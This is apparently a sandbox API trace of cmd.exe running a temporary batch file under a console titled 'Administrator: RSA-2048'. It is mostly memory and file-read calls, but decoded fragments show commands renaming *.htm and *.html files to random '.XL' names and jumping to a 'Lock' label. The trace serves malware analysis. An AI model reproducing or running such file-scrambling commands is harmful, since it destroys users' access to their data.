(lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.381] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.381] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.381] SetFilePointer (in: hFile=0x74, lDistanceToMove=3478, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0038.381] GetProcessHeap () returned 0x4e0000 [0038.381] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6ce0 | out: hHeap=0x4e0000) returned 1 [0038.381] GetProcessHeap () returned 0x4e0000 [0038.381] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6ac8 | out: hHeap=0x4e0000) returned 1 [0038.381] GetProcessHeap () returned 0x4e0000 [0038.381] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6868 | out: hHeap=0x4e0000) returned 1 [0038.381] GetProcessHeap () returned 0x4e0000 [0038.381] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0038.381] GetProcessHeap () returned 0x4e0000 [0038.381] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b08 | out: hHeap=0x4e0000) returned 1 [0038.381] GetProcessHeap () returned 0x4e0000 [0038.381] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ac8 | out: hHeap=0x4e0000) returned 1 [0038.381] GetProcessHeap () returned 0x4e0000 [0038.381] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0038.381] GetProcessHeap () returned 0x4e0000 [0038.382] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6080 | out: hHeap=0x4e0000) returned 1 [0038.382] GetProcessHeap () returned 0x4e0000 [0038.382] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.382] GetProcessHeap () returned 0x4e0000 [0038.382] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.382] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.382] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd96 [0038.382] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1897, lpOverlapped=0x0) returned 1 [0038.382] SetFilePointer (in: hFile=0x74, lDistanceToMove=3489, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0038.382] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n\n") returned 11 [0038.382] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.382] GetFileType (hFile=0x74) returned 0x1 [0038.382] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.382] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0038.382] GetProcessHeap () returned 0x4e0000 [0038.382] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0038.382] GetProcessHeap () returned 0x4e0000 [0038.382] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0038.382] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0038.382] GetProcessHeap () returned 0x4e0000 [0038.383] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5880 [0038.383] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0038.383] _tell (_FileHandle=3) returned 3489 [0038.383] _close (_FileHandle=3) returned 0 [0038.383] _wcsicmp (_String1="goto", _String2="DIR") returned 3 [0038.383] _wcsicmp (_String1="goto", _String2="ERASE") returned 2 [0038.383] _wcsicmp (_String1="goto", _String2="DEL") returned 3 [0038.383] _wcsicmp (_String1="goto", _String2="TYPE") returned -13 [0038.383] _wcsicmp (_String1="goto", _String2="COPY") returned 4 [0038.383] _wcsicmp (_String1="goto", _String2="CD") returned 4 [0038.383] _wcsicmp (_String1="goto", _String2="CHDIR") returned 4 [0038.383] _wcsicmp (_String1="goto", _String2="RENAME") returned -11 [0038.383] _wcsicmp (_String1="goto", _String2="REN") returned -11 [0038.383] _wcsicmp (_String1="goto", _String2="ECHO") returned 2 [0038.383] _wcsicmp (_String1="goto", _String2="SET") returned -12 [0038.383] _wcsicmp (_String1="goto", _String2="PAUSE") returned -9 [0038.383] _wcsicmp (_String1="goto", _String2="DATE") returned 3 [0038.383] _wcsicmp (_String1="goto", _String2="TIME") returned -13 [0038.384] _wcsicmp (_String1="goto", _String2="PROMPT") returned -9 [0038.384] _wcsicmp (_String1="goto", _String2="MD") returned -6 [0038.384] _wcsicmp (_String1="goto", _String2="MKDIR") returned -6 [0038.384] _wcsicmp (_String1="goto", _String2="RD") returned -11 [0038.384] _wcsicmp (_String1="goto", _String2="RMDIR") returned -11 [0038.384] _wcsicmp (_String1="goto", _String2="PATH") returned -9 [0038.384] _wcsicmp (_String1="goto", _String2="GOTO") returned 0 [0038.384] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0038.384] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0038.384] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x14) returned 0x4f58c0 [0038.384] GetProcessHeap () returned 0x4e0000 [0038.384] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58c0) returned 0x14 [0038.384] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1e) returned 0x4e0880 [0038.384] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ee4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.384] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.384] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.384] SetFilePointer (in: hFile=0x74, lDistanceToMove=3489, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0038.384] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.384] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0038.384] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.384] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0038.384] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.385] GetFileType (hFile=0x74) returned 0x1 [0038.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda1 [0038.385] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=3491, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda3 [0038.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nock") returned 2 [0038.385] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda3 [0038.385] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.385] GetFileType (hFile=0x74) returned 0x1 [0038.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda3 [0038.385] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=3497, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xda9 [0038.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":htm\r\n 31726.XL") returned 6 [0038.385] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda9 [0038.385] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.385] GetFileType (hFile=0x74) returned 0x1 [0038.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xda9 [0038.385] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=3499, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdab [0038.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntm\r\n") returned 2 [0038.385] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdab [0038.386] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.386] GetFileType (hFile=0x74) returned 0x1 [0038.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdab [0038.386] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=3525, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdc5 [0038.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.htm %RANDOM%.XL\r\n") returned 26 [0038.386] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdc5 [0038.386] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.386] GetFileType (hFile=0x74) returned 0x1 [0038.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdc5 [0038.386] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=3536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdd0 [0038.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nm %RANDOM%.XL\r\n") returned 11 [0038.386] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd0 [0038.386] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.386] GetFileType (hFile=0x74) returned 0x1 [0038.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd0 [0038.386] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=3538, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdd2 [0038.387] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0038.387] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd2 [0038.387] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.387] GetFileType (hFile=0x74) returned 0x1 [0038.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd2 [0038.387] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=3545, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdd9 [0038.387] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":html\r\nck\r\n") returned 7 [0038.387] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd9 [0038.387] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.387] GetFileType (hFile=0x74) returned 0x1 [0038.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdd9 [0038.387] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=3547, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xddb [0038.387] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\ntml\r\n") returned 2 [0038.387] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xddb [0038.387] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.387] GetFileType (hFile=0x74) returned 0x1 [0038.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xddb [0038.387] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.388] SetFilePointer (in: hFile=0x74, lDistanceToMove=3574, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0038.388] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.html %RANDOM%.XL\r\n") returned 27 [0038.388] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.388] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0038.388] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.388] GetFileType (hFile=0x74) returned 0x1 [0038.388] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xdf6 [0038.388] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.388] SetFilePointer (in: hFile=0x74, lDistanceToMove=3585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe01 [0038.388] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nml %RANDOM%.XL\r\n") returned 11 [0038.388] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.388] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe01 [0038.388] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.388] GetFileType (hFile=0x74) returned 0x1 [0038.388] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe01 [0038.388] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.388] SetFilePointer (in: hFile=0x74, lDistanceToMove=3589, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe05 [0038.388] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=4, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":l\r\n Lock\r\n") returned 4 [0038.389] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.389] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe05 [0038.389] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.389] GetFileType (hFile=0x74) returned 0x1 [0038.389] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe05 [0038.389] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.389] SetFilePointer (in: hFile=0x74, lDistanceToMove=3595, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0038.389] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd..\r\nock\r\n") returned 6 [0038.389] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.389] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0038.389] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.389] GetFileType (hFile=0x74) returned 0x1 [0038.389] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe0b [0038.389] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.389] SetFilePointer (in: hFile=0x74, lDistanceToMove=3607, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0038.389] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=12, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd Desktop\r\nl %RANDOM%.XL\r\n") returned 12 [0038.389] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.389] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0038.390] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.390] GetFileType (hFile=0x74) returned 0x1 [0038.390] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe17 [0038.390] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.390] SetFilePointer (in: hFile=0x74, lDistanceToMove=3614, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0038.390] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Lock\r\ntop\r\n") returned 7 [0038.390] _close (_FileHandle=3) returned 0 [0038.390] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.390] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.390] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.390] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0038.391] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.391] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0038.391] SetConsoleInputExeNameW () returned 0x1 [0038.391] GetConsoleOutputCP () returned 0x1b5 [0038.391] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0038.391] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.391] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0038.391] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0038.391] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.391] SetFilePointer (in: hFile=0x74, lDistanceToMove=3614, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0038.391] GetProcessHeap () returned 0x4e0000 [0038.391] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0038.391] GetProcessHeap () returned 0x4e0000 [0038.391] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0038.391] GetProcessHeap () returned 0x4e0000 [0038.391] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0038.391] GetProcessHeap () returned 0x4e0000 [0038.392] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0038.392] GetProcessHeap () returned 0x4e0000 [0038.392] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0038.392] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe1e [0038.392] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x180f, lpOverlapped=0x0) returned 1 [0038.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=3616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0038.392] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nto Lock\r\ng %RANDOM%.XL\r\n\n") returned 2 [0038.392] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.392] GetFileType (hFile=0x74) returned 0x1 [0038.392] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.392] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0038.392] GetProcessHeap () returned 0x4e0000 [0038.392] RtlAllocateHeap 